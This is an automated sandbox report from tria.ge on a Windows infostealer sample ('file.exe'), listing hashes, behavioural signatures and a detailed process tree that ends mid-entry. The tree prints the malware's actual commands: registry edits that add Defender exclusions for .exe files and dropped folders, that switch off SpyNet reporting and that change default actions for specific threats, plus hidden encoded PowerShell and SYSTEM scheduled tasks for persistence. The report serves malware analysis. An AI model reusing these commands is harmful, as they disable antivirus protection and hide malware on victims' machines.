Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    91s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/12/2022, 08:57 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    1e288e30a66aea5fe48e6e9df80a4109

  • SHA1

    95d0eb690b937c161e7047a935636e39bbc1e3f4

  • SHA256

    628a2d90da23bcaa6a66af59988a4e862d2dbdc7452aebe5b0afa97caf767179

  • SHA512

    d0698691889a012087776a317776a2faf9c77ed2604cfe4e7b166bfe7bb4da673aed897b4a9410322d703cb6712eb1a483fd44fe7a9b1e959dddf63c9935cc91

  • SSDEEP

    196608:91Oxo41INZrkdXuE4qjkia4Gs0b4xLbp5+5y:3OxTmrkfgoRH

Score
8/10
discoveryspywarestealer

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Users\Admin\AppData\Local\Temp\7zSAF30.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Users\Admin\AppData\Local\Temp\7zSB2DA.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:1284
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1432
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3844
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
              6⤵
                PID:1100
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                6⤵
                  PID:3660
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1952
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4468
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:2952
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:1252
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gzbXRQHlW" /SC once /ST 06:28:57 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:220
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gzbXRQHlW"
                  4⤵
                    PID:4128
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gzbXRQHlW"
                    4⤵
                      PID:4552
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bnXhqWnZYPWvluXGbm" /SC once /ST 08:58:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\zuclhRZ.exe\" Rm /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:3840
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3304
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:3872
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:2964
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:1868
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4572
                      • C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\zuclhRZ.exe
                        C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\RiDICJVdUnKYVhP\zuclhRZ.exe Rm /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:4932
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3672
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2560
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:444
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:1280
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1496
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:516
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3724
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                      3⤵
                                        PID:3932
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                        3⤵
                                          PID:3908
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                          3⤵
                                            PID:4832
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                            3⤵
                                              PID:3176
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2204
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4216
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                  3⤵
                                                    PID:1704
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                    3⤵
                                                      PID:1568
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3568
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                        3⤵
                                                          PID:2952
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                          3⤵
                                                            PID:2912
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:2392
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:1252
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:3752
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:1528
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:1952
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:3688
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:456
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:308
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KNfLkiMphNUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\KNfLkiMphNUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NiCWuKvvKWJgC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NiCWuKvvKWJgC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kOgboOUMyeTU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kOgboOUMyeTU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ypnECPGzU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ypnECPGzU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\BBXtEIsMTiOzNlVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\BBXtEIsMTiOzNlVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\kenPgsqBLemLniqf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\kenPgsqBLemLniqf\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:204
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KNfLkiMphNUn" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:3092
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KNfLkiMphNUn" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:4504
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4376
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kOgboOUMyeTU2" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:3444
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:740
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ahDQVohyzlKmkignS /t REG_DWORD /d 0 /reg:64
                                                                                      3⤵
                                                                                        PID:3204
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\BBXtEIsMTiOzNlVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1812
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\kenPgsqBLemLniqf /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4448
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\kenPgsqBLemLniqf /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:4560
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\BBXtEIsMTiOzNlVB /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:3380
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ypnECPGzU" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4640
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ypnECPGzU" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:1692
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kOgboOUMyeTU2" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:1736
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jMSgazFzqJtVbLJEjcR" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:2348
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NiCWuKvvKWJgC" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4476
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NiCWuKvvKWJgC" /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:2752
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KNfLkiMphNUn" /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4336
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
